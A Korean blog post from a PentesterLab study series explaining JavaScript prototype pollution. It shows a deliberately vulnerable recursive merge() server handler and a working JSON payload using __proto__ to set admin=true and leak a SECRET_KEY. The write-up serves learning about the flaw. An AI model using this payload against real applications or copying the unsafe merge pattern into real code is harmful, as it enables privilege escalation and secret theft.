[PentesterLab] Javascript prototype pollution

쥬스몬·2022년 3월 29일
0

PentesterLab

목록 보기
19/20

이번 포스팅에서는 Javascript 애플리케이션에서 발생할 수 있는 Prototype Pollution 취약점에 대해 기록한다.

Prototype은 다른 객체에서 프로터티를 제공하는 객체이다. 모든 객체는 prototype이라는 내부 슬록을 가지며, 상속을 구현하는 Prototype 객체를 가르킨다.

Prototype Pollution🤔

말그대로 prototype을 오염시키는 것으로 객체 리터럴의 __proto__Object.prototype과 같다는 것을 이용해 다른 객체 속성에 영향을 주는 방식이다.

아래와 같이 브라우저 콘솔에서 간단히 확인해 볼 수 있다.

백분이 불여일견... 취약한 코드로 구성된 서버에 Prototype Pollution 공격을 확인해 보겠다.

먼저 특정 Javascript 애플리케이션의 서버 코드는 아래와 같다.

function merge(dst, src) {
    for (var attr in src) {
        if (typeof(dst[attr]) == "object" &&
            typeof(src[attr]) == "object") {
            merge(dst[attr], src[attr]);
        } else {
            dst[attr] = src[attr];
        }
    }
    return dst;
}


if (request.method == "POST") {
  if (request.headers.content_type == 'application/json') {
    user=merge({"user":""}, JSON.parse(request.post.data));
    admin={};
    response.headers.content_type = 'application/json' ;
    if (admin.admin == true) {
      write(JSON.stringify({"key": ""+process.env['SECRET_KEY']}));
    } else {
      write(JSON.stringify(user));
    }
 }

위 코드에서 서버는 POST로 JSON 데이터를 받아 user 변수에 저장하고 admin.admin이 true일 경우 SECRET_KEY를 응답하고 false일 경우 전달받은 데이터를 그대로 응답한다.

그렇다면 아래와 같은 JSON 데이터를 전달하면 어떨까?

{
	"user": "juicemin",
  	"admin": true
}

위 서버 코드에서도 확인했겠지만 merge에서 JSON의 key/value를 파싱하기에 admin 객체의 admin 값을 변조하는 것은 불가능하다.

여기서 Prototype Pollution을 사용할 수 있다. 코드를 다시보면 POST 데이터를 파싱하고 바로 하단에 admin 객체를 하나 생성한다.

즉 전달되는 JSON 데이터에 __prototype__을 끼워넣어서 아래 다른 객체의 프로퍼티를 조작할 수 있다.

{
	"user": "juicemon",
	"__proto__": {
      "admin": true
    }
}

오염된 Prototype을 전달하여 admin객체의 admin이라는 프로퍼티에 true값을 삽입하여 SECRET_KEY를 응답받을 수 있다.😎

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글